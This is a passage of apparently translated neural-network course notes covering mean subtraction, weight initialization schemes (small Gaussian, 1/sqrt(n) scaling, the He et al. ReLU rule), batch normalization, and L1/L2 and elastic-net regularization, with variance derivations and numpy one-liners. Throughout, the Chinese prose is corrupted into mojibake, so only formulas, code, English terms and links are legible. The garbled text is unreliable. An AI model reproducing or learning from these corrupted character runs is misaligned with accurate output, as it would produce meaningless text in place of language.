ๅ›พ็‰‡้ƒฝๅ‡ๅŽปๅนณๅ‡ๅ€ผ๏ผŒๆœ€ๅŽๅฐ†ๆ•ดไธชๆ•ฐๆฎ้›†ๅˆ†ๆˆ่ฎญ็ปƒ/้ชŒ่ฏ/ๆต‹่ฏ•้›†๏ผŒ้‚ฃไนˆ่ฟ™ไธชๅšๆณ•ๆ˜ฏ้”™่ฏฏ็š„ใ€‚**ๅบ”่ฏฅๆ€Žไนˆๅšๅ‘ข๏ผŸๅบ”่ฏฅๅ…ˆๅˆ†ๆˆ่ฎญ็ปƒ/้ชŒ่ฏ/ๆต‹่ฏ•้›†๏ผŒๅชๆ˜ฏไปŽ่ฎญ็ปƒ้›†ไธญๆฑ‚ๅ›พ็‰‡ๅนณๅ‡ๅ€ผ๏ผŒ็„ถๅŽๅ„ไธช้›†๏ผˆ่ฎญ็ปƒ/้ชŒ่ฏ/ๆต‹่ฏ•้›†๏ผ‰ไธญ็š„ๅ›พๅƒๅ†ๅ‡ๅŽป่ฟ™ไธชๅนณๅ‡ๅ€ผใ€‚**\n\n**่ฏ‘่€…ๆณจ๏ผšๆญคๅค„็กฎไธบๅˆๅญฆ่€…ๅธธ่ง้”™่ฏฏ๏ผŒ่ฏทๅŠกๅฟ…ๆณจๆ„๏ผ**\n\n\n\n### ๆƒ้‡ๅˆๅง‹ๅŒ–\n\nๆˆ‘ไปฌๅทฒ็ป็œ‹ๅˆฐๅฆ‚ไฝ•ๆž„ๅปบไธ€ไธช็ฅž็ป็ฝ‘็ปœ็š„็ป“ๆž„ๅนถๅฏนๆ•ฐๆฎ่ฟ›่กŒ้ข„ๅค„็†๏ผŒไฝ†ๆ˜ฏๅœจๅผ€ๅง‹่ฎญ็ปƒ็ฝ‘็ปœไน‹ๅ‰๏ผŒ่ฟ˜้œ€่ฆๅˆๅง‹ๅŒ–็ฝ‘็ปœ็š„ๅ‚ๆ•ฐใ€‚\n\n**้”™่ฏฏ๏ผšๅ…จ้›ถๅˆๅง‹ๅŒ–ใ€‚**่ฎฉๆˆ‘ไปฌไปŽๅบ”่ฏฅ้ฟๅ…็š„้”™่ฏฏๅผ€ๅง‹ใ€‚ๅœจ่ฎญ็ปƒๅฎŒๆฏ•ๅŽ๏ผŒ่™ฝ็„ถไธ็Ÿฅ้“็ฝ‘็ปœไธญๆฏไธชๆƒ้‡็š„ๆœ€็ปˆๅ€ผๅบ”่ฏฅๆ˜ฏๅคšๅฐ‘๏ผŒไฝ†ๅฆ‚ๆžœๆ•ฐๆฎ็ป่ฟ‡ไบ†ๆฐๅฝ“็š„ๅฝ’ไธ€ๅŒ–็š„่ฏ๏ผŒๅฐฑๅฏไปฅๅ‡่ฎพๆ‰€ๆœ‰ๆƒ้‡ๆ•ฐๅ€ผไธญๅคง็บฆไธ€ๅŠไธบๆญฃๆ•ฐ๏ผŒไธ€ๅŠไธบ่ดŸๆ•ฐใ€‚่ฟ™ๆ ท๏ผŒไธ€ไธชๅฌ่ตทๆฅ่›ฎๅˆ็†็š„ๆƒณๆณ•ๅฐฑๆ˜ฏๆŠŠ่ฟ™ไบ›ๆƒ้‡็š„ๅˆๅง‹ๅ€ผ้ƒฝ่ฎพไธบ0ๅง๏ผŒๅ› ไธบๅœจๆœŸๆœ›ไธŠๆฅ่ฏด0ๆ˜ฏๆœ€ๅˆ็†็š„็Œœๆต‹ใ€‚่ฟ™ไธชๅšๆณ•้”™่ฏฏ็š„๏ผๅ› ไธบๅฆ‚ๆžœ็ฝ‘็ปœไธญ็š„ๆฏไธช็ฅž็ปๅ…ƒ้ƒฝ่ฎก็ฎ—ๅ‡บๅŒๆ ท็š„่พ“ๅ‡บ๏ผŒ็„ถๅŽๅฎƒไปฌๅฐฑไผšๅœจๅๅ‘ไผ ๆ’ญไธญ่ฎก็ฎ—ๅ‡บๅŒๆ ท็š„ๆขฏๅบฆ๏ผŒไปŽ่€Œ่ฟ›่กŒๅŒๆ ท็š„ๅ‚ๆ•ฐๆ›ดๆ–ฐใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒๅฆ‚ๆžœๆƒ้‡่ขซๅˆๅง‹ๅŒ–ไธบๅŒๆ ท็š„ๅ€ผ๏ผŒ็ฅž็ปๅ…ƒไน‹้—ดๅฐฑๅคฑๅŽปไบ†ไธๅฏน็งฐๆ€ง็š„ๆบๅคดใ€‚\n\n**ๅฐ้šๆœบๆ•ฐๅˆๅง‹ๅŒ–ใ€‚**ๅ› ๆญค๏ผŒ<u>ๆƒ้‡ๅˆๅง‹ๅ€ผ่ฆ้žๅธธๆŽฅ่ฟ‘0ๅˆไธ่ƒฝ็ญ‰ไบŽ0</u>ใ€‚่งฃๅ†ณๆ–นๆณ•ๅฐฑๆ˜ฏๅฐ†ๆƒ้‡ๅˆๅง‹ๅŒ–ไธบๅพˆๅฐ็š„ๆ•ฐๅ€ผ๏ผŒไปฅๆญคๆฅ*ๆ‰“็ ดๅฏน็งฐๆ€ง*ใ€‚ๅ…ถๆ€่ทฏๆ˜ฏ๏ผšๅฆ‚ๆžœ็ฅž็ปๅ…ƒๅˆšๅผ€ๅง‹็š„ๆ—ถๅ€™ๆ˜ฏ้šๆœบไธ”ไธ็›ธ็ญ‰็š„๏ผŒ้‚ฃไนˆๅฎƒไปฌๅฐ†่ฎก็ฎ—ๅ‡บไธๅŒ็š„ๆ›ดๆ–ฐ๏ผŒๅนถๅฐ†่‡ช่บซๅ˜ๆˆๆ•ดไธช็ฝ‘็ปœ็š„ไธๅŒ้ƒจๅˆ†ใ€‚ๅฐ้šๆœบๆ•ฐๆƒ้‡ๅˆๅง‹ๅŒ–็š„ๅฎž็Žฐๆ–นๆณ•ๆ˜ฏ๏ผš**W = 0.01 \\* np.random.randn(D,H)ใ€‚**ๅ…ถไธญ**randn**ๅ‡ฝๆ•ฐๆ˜ฏๅŸบไบŽ้›ถๅ‡ๅ€ผๅ’Œๆ ‡ๅ‡†ๅทฎ็š„ไธ€ไธช้ซ˜ๆ–ฏๅˆ†ๅธƒ๏ผˆ**่ฏ‘่€…ๆณจ๏ผšๅ›ฝๅ†…ๆ•™็จ‹ไธ€่ˆฌไน ๆƒฏ็งฐๅ‡ๅ€ผๅ‚ๆ•ฐไธบๆœŸๆœ›$\\mu$**๏ผ‰ๆฅ็”Ÿๆˆ้šๆœบๆ•ฐ็š„ใ€‚ๆ นๆฎ่ฟ™ไธชๅผๅญ๏ผŒๆฏไธช็ฅž็ปๅ…ƒ็š„ๆƒ้‡ๅ‘้‡้ƒฝ่ขซๅˆๅง‹ๅŒ–ไธบไธ€ไธช้šๆœบๅ‘้‡๏ผŒ่€Œ่ฟ™ไบ›้šๆœบๅ‘้‡ๅˆๆœไปŽไธ€ไธชๅคšๅ˜้‡้ซ˜ๆ–ฏๅˆ†ๅธƒ๏ผŒ่ฟ™ๆ ทๅœจ่พ“ๅ…ฅ็ฉบ้—ดไธญ๏ผŒๆ‰€ๆœ‰็š„็ฅž็ปๅ…ƒ็š„ๆŒ‡ๅ‘ๆ˜ฏ้šๆœบ็š„ใ€‚ไนŸๅฏไปฅไฝฟ็”จๅ‡ๅŒ€ๅˆ†ๅธƒ็”Ÿๆˆ็š„้šๆœบๆ•ฐ๏ผŒไฝ†ๆ˜ฏไปŽๅฎž่ทต็ป“ๆžœๆฅ็œ‹๏ผŒๅฏนไบŽ็ฎ—ๆณ•็š„็ป“ๆžœๅฝฑๅ“ๆžๅฐใ€‚\n\n**่ญฆๅ‘Š**ใ€‚ๅนถไธๆ˜ฏๅฐๆ•ฐๅ€ผไธ€ๅฎšไผšๅพ—ๅˆฐๅฅฝ็š„็ป“ๆžœใ€‚ไพ‹ๅฆ‚๏ผŒไธ€ไธช็ฅž็ป็ฝ‘็ปœ็š„ๅฑ‚ไธญ็š„ๆƒ้‡ๅ€ผๅพˆๅฐ๏ผŒ้‚ฃไนˆๅœจๅๅ‘ไผ ๆ’ญ็š„ๆ—ถๅ€™ๅฐฑไผš่ฎก็ฎ—ๅ‡บ้žๅธธๅฐ็š„ๆขฏๅบฆ๏ผˆๅ› ไธบ<u>ๆขฏๅบฆไธŽๆƒ้‡ๅ€ผๆ˜ฏๆˆๆฏ”ไพ‹็š„</u>๏ผ‰ใ€‚่ฟ™ๅฐฑไผšๅพˆๅคง็จ‹ๅบฆไธŠๅ‡ๅฐๅๅ‘ไผ ๆ’ญไธญ็š„โ€œๆขฏๅบฆไฟกๅทโ€๏ผŒๅœจๆทฑๅบฆ็ฝ‘็ปœไธญ๏ผŒๅฐฑไผšๅ‡บ็Žฐ้—ฎ้ข˜ใ€‚\n\n**ไฝฟ็”จ1/sqrt(n)ๆ กๅ‡†ๆ–นๅทฎ**ใ€‚ไธŠ้ขๅšๆณ•ๅญ˜ๅœจไธ€ไธช้—ฎ้ข˜๏ผŒ้š็€่พ“ๅ…ฅๆ•ฐๆฎ้‡็š„ๅขž้•ฟ๏ผŒ้šๆœบๅˆๅง‹ๅŒ–็š„็ฅž็ปๅ…ƒ็š„่พ“ๅ‡บๆ•ฐๆฎ็š„ๅˆ†ๅธƒไธญ็š„ๆ–นๅทฎไนŸๅœจๅขžๅคงใ€‚ๆˆ‘ไปฌๅฏไปฅ้™คไปฅ่พ“ๅ…ฅๆ•ฐๆฎ้‡็š„ๅนณๆ–นๆ นๆฅ่ฐƒๆ•ดๅ…ถๆ•ฐๅ€ผ่Œƒๅ›ด๏ผŒ่ฟ™ๆ ท็ฅž็ปๅ…ƒ่พ“ๅ‡บ็š„ๆ–นๅทฎๅฐฑๅฝ’ไธ€ๅŒ–ๅˆฐ1ไบ†ใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒๅปบ่ฎฎๅฐ†็ฅž็ปๅ…ƒ็š„ๆƒ้‡ๅ‘้‡ๅˆๅง‹ๅŒ–ไธบ๏ผš**w = np.random.randn(n) / sqrt(n)ใ€‚**ๅ…ถไธญ**n**ๆ˜ฏ่พ“ๅ…ฅๆ•ฐๆฎ็š„ๆ•ฐ้‡ใ€‚่ฟ™ๆ ทๅฐฑไฟ่ฏไบ†็ฝ‘็ปœไธญๆ‰€ๆœ‰็ฅž็ปๅ…ƒ่ตทๅง‹ๆ—ถๆœ‰่ฟ‘ไผผๅŒๆ ท็š„่พ“ๅ‡บๅˆ†ๅธƒใ€‚ๅฎž่ทต็ป้ชŒ่ฏๆ˜Ž๏ผŒ่ฟ™ๆ ทๅšๅฏไปฅ<u>ๆ้ซ˜ๆ”ถๆ•›็š„้€Ÿๅบฆ</u>ใ€‚\n\nไธŠ่ฟฐ็ป“่ฎบ็š„ๆŽจๅฏผ่ฟ‡็จ‹ๅฆ‚ไธ‹๏ผšๅ‡่ฎพๆƒ้‡$w$ๅ’Œ่พ“ๅ…ฅ$x$ไน‹้—ด็š„ๅ†…็งฏไธบ$s=\\sum^n_iw_ix_i$๏ผŒ่ฟ™ๆ˜ฏ่ฟ˜ๆฒกๆœ‰่ฟ›่กŒ้ž็บฟๆ€งๆฟ€ๆดปๅ‡ฝๆ•ฐ่ฟ็ฎ—ไน‹ๅ‰็š„ๅŽŸๅง‹ๆ•ฐๅ€ผใ€‚ๆˆ‘ไปฌๅฏไปฅๆฃ€ๆŸฅ![s](http://www.zhihu.com/equation?tex=s)็š„ๆ–นๅทฎ๏ผš\n$$\n\\begin{align}\nVar(s)&=Var(\\sum^n_iw_ix_i)\\\\\n&=\\sum^n_iVar(w_ix_i)\\\\\n&=\\sum^n_i[E(w_i)]^2Var(x_i)+E[(x_i)]^2Var(w_i)+Var(x_i)Var(w_i)\\\\\n&=\\sum^n_iVar(x_i)Var(w_i)\\\\\n&=(nVar(w))Var(x)\n\\end{align}\n$$\nๅœจๅ‰ไธคๆญฅ๏ผŒไฝฟ็”จไบ†[ๆ–นๅทฎ็š„ๆ€ง่ดจ](http://link.zhihu.com/?target=http%3A//en.wikipedia.org/wiki/Variance)ใ€‚ๅœจ็ฌฌไธ‰ๆญฅ๏ผŒๅ› ไธบๅ‡่ฎพ่พ“ๅ…ฅๅ’Œๆƒ้‡็š„ๅนณๅ‡ๅ€ผ้ƒฝๆ˜ฏ0๏ผŒๆ‰€ไปฅ$E[x_i]=E[w_i]=0$ใ€‚ๆณจๆ„่ฟ™ๅนถไธๆ˜ฏไธ€่ˆฌๅŒ–ๆƒ…ๅ†ต๏ผŒๆฏ”ๅฆ‚ๅœจReLUๅ•ๅ…ƒไธญๅ‡ๅ€ผๅฐฑไธบๆญฃใ€‚ๅœจๆœ€ๅŽไธ€ๆญฅ๏ผŒๆˆ‘ไปฌๅ‡่ฎพๆ‰€ๆœ‰็š„$w_i,x_i$้ƒฝๆœไปŽๅŒๆ ท็š„ๅˆ†ๅธƒใ€‚ไปŽ่ฟ™ไธชๆŽจๅฏผ่ฟ‡็จ‹ๆˆ‘ไปฌๅฏไปฅ็œ‹่ง๏ผŒๅฆ‚ๆžœๆƒณ่ฆ$s$ๆœ‰ๅ’Œ่พ“ๅ…ฅ$x$ไธ€ๆ ท็š„ๆ–นๅทฎ๏ผŒ้‚ฃไนˆๅœจๅˆๅง‹ๅŒ–็š„ๆ—ถๅ€™ๅฟ…้กปไฟ่ฏๆฏไธชๆƒ้‡$w$็š„ๆ–นๅทฎๆ˜ฏ$1/n$ใ€‚ๅˆๅ› ไธบๅฏนไบŽไธ€ไธช้šๆœบๅ˜้‡$X$ๅ’Œๆ ‡้‡$a$๏ผŒๆœ‰$Var(aX)=a^2Var(X)$๏ผŒ่ฟ™ๅฐฑ่ฏดๆ˜ŽๅฏไปฅๅŸบไบŽไธ€ไธชๆ ‡ๅ‡†้ซ˜ๆ–ฏๅˆ†ๅธƒ๏ผŒ็„ถๅŽไน˜ไปฅ$a=\\sqrt{1/n}$๏ผŒไฝฟๅ…ถๆ–นๅทฎไธบ$1/n$๏ผŒไบŽๆ˜ฏๅพ—ๅ‡บ๏ผš**w = np.random.randn(n) / sqrt(n)**ใ€‚\n\nGlorot็ญ‰ๅœจ่ฎบๆ–‡[Understanding the difficulty of training deep feedforward neural networks](http://link.zhihu.com/?target=http%3A//jmlr.org/proceedings/papers/v9/glorot10a/glorot10a.pdf)ไธญไฝœๅ‡บไบ†็ฑปไผผ็š„ๅˆ†ๆžใ€‚ๅœจ่ฎบๆ–‡ไธญ๏ผŒไฝœ่€…ๆŽจ่ๅˆๅง‹ๅŒ–ๅ…ฌๅผไธบ$ \\text{Var}(w) = 2/(n_{in} + n_{out}) $๏ผŒๅ…ถไธญ$n_{in}, n_{out}$ๆ˜ฏๅœจๅ‰ไธ€ๅฑ‚ๅ’ŒๅŽไธ€ๅฑ‚ไธญๅ•ๅ…ƒ็š„ไธชๆ•ฐใ€‚่ฟ™ๆ˜ฏๅŸบไบŽๅฆฅๅๅ’Œๅฏนๅๅ‘ไผ ๆ’ญไธญๆขฏๅบฆ็š„ๅˆ†ๆžๅพ—ๅ‡บ็š„็ป“่ฎบใ€‚่ฏฅไธป้ข˜ไธ‹ๆœ€ๆ–ฐ็š„ไธ€็ฏ‡่ฎบๆ–‡ๆ˜ฏ๏ผš[Delving Deep into Rectifiers: Surpassing Human-Level Performance on ImageNet Classification](http://link.zhihu.com/?target=http%3A//arxiv-web3.library.cornell.edu/abs/1502.01852)๏ผŒไฝœ่€…ๆ˜ฏHe็ญ‰ไบบใ€‚ๆ–‡ไธญ็ป™ๅ‡บไบ†ไธ€็ง้’ˆๅฏนReLU็ฅž็ปๅ…ƒ็š„็‰นๆฎŠๅˆๅง‹ๅŒ–๏ผŒๅนถ็ป™ๅ‡บ็ป“่ฎบ๏ผš็ฝ‘็ปœไธญ็ฅž็ปๅ…ƒ็š„ๆ–นๅทฎๅบ”่ฏฅๆ˜ฏ$2.0/n$ใ€‚ไปฃ็ ไธบ**w = np.random.randn(n) \\* sqrt(2.0/n)**ใ€‚่ฟ™ไธชๅฝขๅผๆ˜ฏ็ฅž็ป็ฝ‘็ปœ็ฎ—ๆณ•ไฝฟ็”จReLU็ฅž็ปๅ…ƒๆ—ถ็š„ๅฝ“ๅ‰ๆœ€ไฝณๆŽจ่ใ€‚\n\n**็จ€็–ๅˆๅง‹ๅŒ–๏ผˆSparse initialization๏ผ‰ใ€‚**ๅฆไธ€ไธชๅค„็†้žๆ ‡ๅฎšๆ–นๅทฎ็š„ๆ–นๆณ•ๆ˜ฏๅฐ†ๆ‰€ๆœ‰ๆƒ้‡็Ÿฉ้˜ต่ฎพไธบ0๏ผŒไฝ†ๆ˜ฏไธบไบ†ๆ‰“็ ดๅฏน็งฐๆ€ง๏ผŒๆฏไธช็ฅž็ปๅ…ƒ้ƒฝๅŒไธ‹ไธ€ๅฑ‚ๅ›บๅฎšๆ•ฐ็›ฎ็š„็ฅž็ปๅ…ƒ้šๆœบ่ฟžๆŽฅ๏ผˆๅ…ถๆƒ้‡ๆ•ฐๅ€ผ็”ฑไธ€ไธชๅฐ็š„้ซ˜ๆ–ฏๅˆ†ๅธƒ็”Ÿๆˆ๏ผ‰ใ€‚ไธ€ไธชๆฏ”่พƒๅ…ธๅž‹็š„่ฟžๆŽฅๆ•ฐ็›ฎๆ˜ฏ10ไธชใ€‚\n\n**ๅ็ฝฎ๏ผˆbiases๏ผ‰็š„ๅˆๅง‹ๅŒ–ใ€‚**้€šๅธธๅฐ†ๅ็ฝฎๅˆๅง‹ๅŒ–ไธบ0๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบ้šๆœบๅฐๆ•ฐๅ€ผๆƒ้‡็Ÿฉ้˜ตๅทฒ็ปๆ‰“็ ดไบ†ๅฏน็งฐๆ€งใ€‚ๅฏนไบŽReLU้ž็บฟๆ€งๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผŒๆœ‰็ ”็ฉถไบบๅ‘˜ๅ–œๆฌขไฝฟ็”จๅฆ‚0.01่ฟ™ๆ ท็š„ๅฐๆ•ฐๅ€ผๅธธ้‡ไฝœไธบๆ‰€ๆœ‰ๅ็ฝฎ็š„ๅˆๅง‹ๅ€ผ๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบไป–ไปฌ่ฎคไธบ่ฟ™ๆ ทๅš่ƒฝ่ฎฉๆ‰€ๆœ‰็š„ReLUๅ•ๅ…ƒไธ€ๅผ€ๅง‹ๅฐฑๆฟ€ๆดป๏ผŒ่ฟ™ๆ ทๅฐฑ่ƒฝไฟๅญ˜ๅนถไผ ๆ’ญไธ€ไบ›ๆขฏๅบฆใ€‚็„ถ่€Œ๏ผŒ่ฟ™ๆ ทๅšๆ˜ฏไธๆ˜ฏๆ€ปๆ˜ฏ่ƒฝๆ้ซ˜็ฎ—ๆณ•ๆ€ง่ƒฝๅนถไธๆธ…ๆฅš๏ผˆๆœ‰ๆ—ถๅ€™ๅฎž้ชŒ็ป“ๆžœๅ่€Œๆ˜พ็คบๆ€ง่ƒฝๆ›ดๅทฎ๏ผ‰๏ผŒๆ‰€ไปฅ้€šๅธธ่ฟ˜ๆ˜ฏไฝฟ็”จ0ๆฅๅˆๅง‹ๅŒ–ๅ็ฝฎๅ‚ๆ•ฐใ€‚\n\n**ๅฎž่ทตใ€‚**ๅฝ“ๅ‰็š„ๆŽจ่ๆ˜ฏไฝฟ็”จReLUๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผŒๅนถไธ”ไฝฟ็”จ**w = np.random.randn(n) \\* sqrt(2.0/n)**ๆฅ่ฟ›่กŒๆƒ้‡ๅˆๅง‹ๅŒ–๏ผŒๅ…ณไบŽ่ฟ™ไธ€็‚น๏ผŒ[่ฟ™็ฏ‡ๆ–‡็ซ ](http://link.zhihu.com/?target=http%3A//arxiv-web3.library.cornell.edu/abs/1502.01852)ๆœ‰่ฎจ่ฎบใ€‚\n\n**ๆ‰น้‡ๅฝ’ไธ€ๅŒ–๏ผˆBatch Normalization๏ผ‰ใ€‚**[ๆ‰น้‡ๅฝ’ไธ€ๅŒ–](http://link.zhihu.com/?target=http%3A//arxiv.org/abs/1502.03167)ๆ˜ฏloffeๅ’ŒSzegedyๆœ€่ฟ‘ๆ‰ๆๅ‡บ็š„ๆ–นๆณ•๏ผŒ่ฏฅๆ–นๆณ•ๅ‡่ฝปไบ†ๅฆ‚ไฝ•ๅˆ็†ๅˆๅง‹ๅŒ–็ฅž็ป็ฝ‘็ปœ่ฟ™ไธชๆฃ˜ๆ‰‹้—ฎ้ข˜ๅธฆๆฅ็š„ๅคด็—›๏ผš๏ผ‰๏ผŒๅ…ถๅšๆณ•ๆ˜ฏ่ฎฉๆฟ€ๆดปๆ•ฐๆฎๅœจ่ฎญ็ปƒๅผ€ๅง‹ๅ‰้€š่ฟ‡ไธ€ไธช็ฝ‘็ปœ๏ผŒ็ฝ‘็ปœๅค„็†ๆ•ฐๆฎไฝฟๅ…ถๆœไปŽๆ ‡ๅ‡†้ซ˜ๆ–ฏๅˆ†ๅธƒใ€‚ๅ› ไธบๅฝ’ไธ€ๅŒ–ๆ˜ฏไธ€ไธช็ฎ€ๅ•ๅฏๆฑ‚ๅฏผ็š„ๆ“ไฝœ๏ผŒๆ‰€ไปฅไธŠ่ฟฐๆ€่ทฏๆ˜ฏๅฏ่กŒ็š„ใ€‚ๅœจๅฎž็Žฐๅฑ‚้ข๏ผŒๅบ”็”จ่ฟ™ไธชๆŠ€ๅทง้€šๅธธๆ„ๅ‘ณ็€ๅ…จ่ฟžๆŽฅๅฑ‚๏ผˆๆˆ–่€…ๆ˜ฏๅท็งฏๅฑ‚๏ผŒๅŽ็ปญไผš่ฎฒ๏ผ‰ไธŽๆฟ€ๆดปๅ‡ฝๆ•ฐไน‹้—ดๆทปๅŠ ไธ€ไธชBatchNormๅฑ‚ใ€‚ๅฏนไบŽ่ฟ™ไธชๆŠ€ๅทงๆœฌ่Š‚ไธไผšๅฑ•ๅผ€่ฎฒ๏ผŒๅ› ไธบไธŠ้ข็š„ๅ‚่€ƒๆ–‡็Œฎไธญๅทฒ็ป่ฎฒๅพ—ๅพˆๆธ…ๆฅšไบ†๏ผŒ้œ€่ฆ็Ÿฅ้“็š„ๆ˜ฏๅœจ็ฅž็ป็ฝ‘็ปœไธญไฝฟ็”จๆ‰น้‡ๅฝ’ไธ€ๅŒ–ๅทฒ็ปๅ˜ๅพ—้žๅธธๅธธ่งใ€‚ๅœจๅฎž่ทตไธญ๏ผŒไฝฟ็”จไบ†ๆ‰น้‡ๅฝ’ไธ€ๅŒ–็š„็ฝ‘็ปœๅฏนไบŽไธๅฅฝ็š„ๅˆๅง‹ๅ€ผๆœ‰ๆ›ดๅผบ็š„้ฒๆฃ’ๆ€งใ€‚ๆœ€ๅŽไธ€ๅฅ่ฏๆ€ป็ป“๏ผš<u>ๆ‰น้‡ๅฝ’ไธ€ๅŒ–ๅฏไปฅ็†่งฃไธบๅœจ็ฝ‘็ปœ็š„ๆฏไธ€ๅฑ‚ไน‹ๅ‰้ƒฝๅš้ข„ๅค„็†๏ผŒๅชๆ˜ฏ่ฟ™็งๆ“ไฝœไปฅๅฆไธ€็งๆ–นๅผไธŽ็ฝ‘็ปœ้›†ๆˆๅœจไบ†ไธ€่ตท</u>ใ€‚ๆžๅฎš๏ผ\n\n### ๆญฃๅˆ™ๅŒ– Regularization\n\nๆœ‰ไธๅฐ‘ๆ–นๆณ•ๆ˜ฏ้€š่ฟ‡ๆŽงๅˆถ็ฅž็ป็ฝ‘็ปœ็š„ๅฎน้‡ๆฅ้˜ฒๆญขๅ…ถ่ฟ‡ๆ‹Ÿๅˆ็š„๏ผš\n\n**L2ๆญฃๅˆ™ๅŒ–**ๅฏ่ƒฝๆ˜ฏๆœ€ๅธธ็”จ็š„ๆญฃๅˆ™ๅŒ–ๆ–นๆณ•ไบ†ใ€‚ๅฏไปฅ้€š่ฟ‡ๆƒฉ็ฝš็›ฎๆ ‡ๅ‡ฝๆ•ฐไธญๆ‰€ๆœ‰ๅ‚ๆ•ฐ็š„ๅนณๆ–นๅฐ†ๅ…ถๅฎž็Žฐใ€‚ๅณๅฏนไบŽ็ฝ‘็ปœไธญ็š„ๆฏไธชๆƒ้‡$w$๏ผŒๅ‘็›ฎๆ ‡ๅ‡ฝๆ•ฐไธญๅขžๅŠ ไธ€ไธช$\\frac{1}{2}\\lambda w^2$๏ผŒๅ…ถไธญ$\\lambda$ๆ˜ฏๆญฃๅˆ™ๅŒ–ๅผบๅบฆใ€‚ๅ‰้ข่ฟ™ไธช$\\frac{1}{2}$ๅพˆๅธธ่ง๏ผŒๆ˜ฏๅ› ไธบๅŠ ไธŠ$\\frac{1}{2}$ๅŽ๏ผŒ่ฏฅๅผๅญๅ…ณไบŽ$w$ๆขฏๅบฆๅฐฑๆ˜ฏ$\\lambda w$่€Œไธๆ˜ฏ$2\\lambda w$ไบ†ใ€‚<u>L2ๆญฃๅˆ™ๅŒ–ๅฏไปฅ็›ด่ง‚็†่งฃไธบๅฎƒๅฏนไบŽๅคงๆ•ฐๅ€ผ็š„ๆƒ้‡ๅ‘้‡่ฟ›่กŒไธฅๅŽ‰ๆƒฉ็ฝš๏ผŒๅ€พๅ‘ไบŽๆ›ดๅŠ ๅˆ†ๆ•ฃ็š„ๆƒ้‡ๅ‘้‡</u>ใ€‚ๅœจ็บฟๆ€งๅˆ†็ฑป็ซ ่Š‚ไธญ่ฎจ่ฎบ่ฟ‡๏ผŒ็”ฑไบŽ่พ“ๅ…ฅๅ’Œๆƒ้‡ไน‹้—ด็š„ไน˜ๆณ•ๆ“ไฝœ๏ผŒ่ฟ™ๆ ทๅฐฑๆœ‰ไบ†ไธ€ไธชไผ˜่‰ฏ็š„็‰นๆ€ง๏ผšไฝฟ็ฝ‘็ปœๆ›ดๅ€พๅ‘ไบŽไฝฟ็”จๆ‰€ๆœ‰่พ“ๅ…ฅ็‰นๅพ๏ผŒ่€Œไธๆ˜ฏไธฅ้‡ไพ่ต–่พ“ๅ…ฅ็‰นๅพไธญๆŸไบ›ๅฐ้ƒจๅˆ†็‰นๅพใ€‚ๆœ€ๅŽ้œ€่ฆๆณจๆ„ๅœจๆขฏๅบฆไธ‹้™ๅ’Œๅ‚ๆ•ฐๆ›ดๆ–ฐ็š„ๆ—ถๅ€™๏ผŒไฝฟ็”จL2ๆญฃๅˆ™ๅŒ–ๆ„ๅ‘ณ็€ๆ‰€ๆœ‰็š„ๆƒ้‡้ƒฝไปฅ**w += -lambda \\* W**ๅ‘็€0็บฟๆ€งไธ‹้™ใ€‚\n\n**L1ๆญฃๅˆ™ๅŒ–**ๆ˜ฏๅฆไธ€ไธช็›ธๅฏนๅธธ็”จ็š„ๆญฃๅˆ™ๅŒ–ๆ–นๆณ•ใ€‚ๅฏนไบŽๆฏไธช$w$ๆˆ‘ไปฌ้ƒฝๅ‘็›ฎๆ ‡ๅ‡ฝๆ•ฐๅขžๅŠ ไธ€ไธช$\\lambda|w|$ใ€‚L1ๅ’ŒL2ๆญฃๅˆ™ๅŒ–ไนŸๅฏไปฅ่ฟ›่กŒ็ป„ๅˆ๏ผš$\\lambda_1|w|+\\lambda_2w^2$๏ผŒ่ฟ™ไนŸ่ขซ็งฐไฝœ[Elastic net regularizaton](http://link.zhihu.com/?target=http%3A//web.stanford.edu/%257Ehastie/Papers/B67.2%2520%25282005%2529%2520301-320%2520Zou%2520%26%2520Hastie.pdf)ใ€‚<u>L1ๆญฃๅˆ™ๅŒ–ๆœ‰ไธ€ไธชๆœ‰่ถฃ็š„ๆ€ง่ดจ๏ผŒๅฎƒไผš่ฎฉๆƒ้‡ๅ‘้‡ๅœจๆœ€ไผ˜ๅŒ–็š„่ฟ‡็จ‹ไธญๅ˜ๅพ—็จ€็–๏ผˆๅณ้žๅธธๆŽฅ่ฟ‘0๏ผ‰</u>ใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒไฝฟ็”จL1ๆญฃๅˆ™ๅŒ–็š„็ฅž็ปๅ…ƒๆœ€ๅŽไฝฟ็”จ็š„ๆ˜ฏๅฎƒไปฌๆœ€้‡่ฆ็š„่พ“ๅ…ฅๆ•ฐๆฎ็š„็จ€็–ๅญ้›†๏ผŒๅŒๆ—ถๅฏนไบŽๅ™ช้Ÿณ่พ“ๅ…ฅๅˆ™ๅ‡ ไนŽๆ˜ฏไธๅ˜็š„ไบ†ใ€‚็›ธ่พƒL1ๆญฃๅˆ™ๅŒ–๏ผŒL2ๆญฃๅˆ™ๅŒ–ไธญ็š„ๆƒ้‡ๅ‘้‡ๅคงๅคšๆ˜ฏๅˆ†ๆ•ฃ็š„ๅฐๆ•ฐๅญ—ใ€‚<u>ๅœจๅฎž่ทตไธญ๏ผŒๅฆ‚ๆžœไธๆ˜ฏ็‰นๅˆซๅ…ณๆณจๆŸไบ›ๆ˜Ž็กฎ็š„็‰นๅพ้€‰ๆ‹ฉ๏ผŒไธ€่ˆฌ่ฏดๆฅL2ๆญฃๅˆ™ๅŒ–้ƒฝไผšๆฏ”L1ๆญฃๅˆ™ๅŒ–ๆ•ˆๆžœๅฅฝ</u>ใ€‚\n\n**ๆœ€ๅคง่Œƒๅผ็บฆๆŸ๏ผˆMax norm 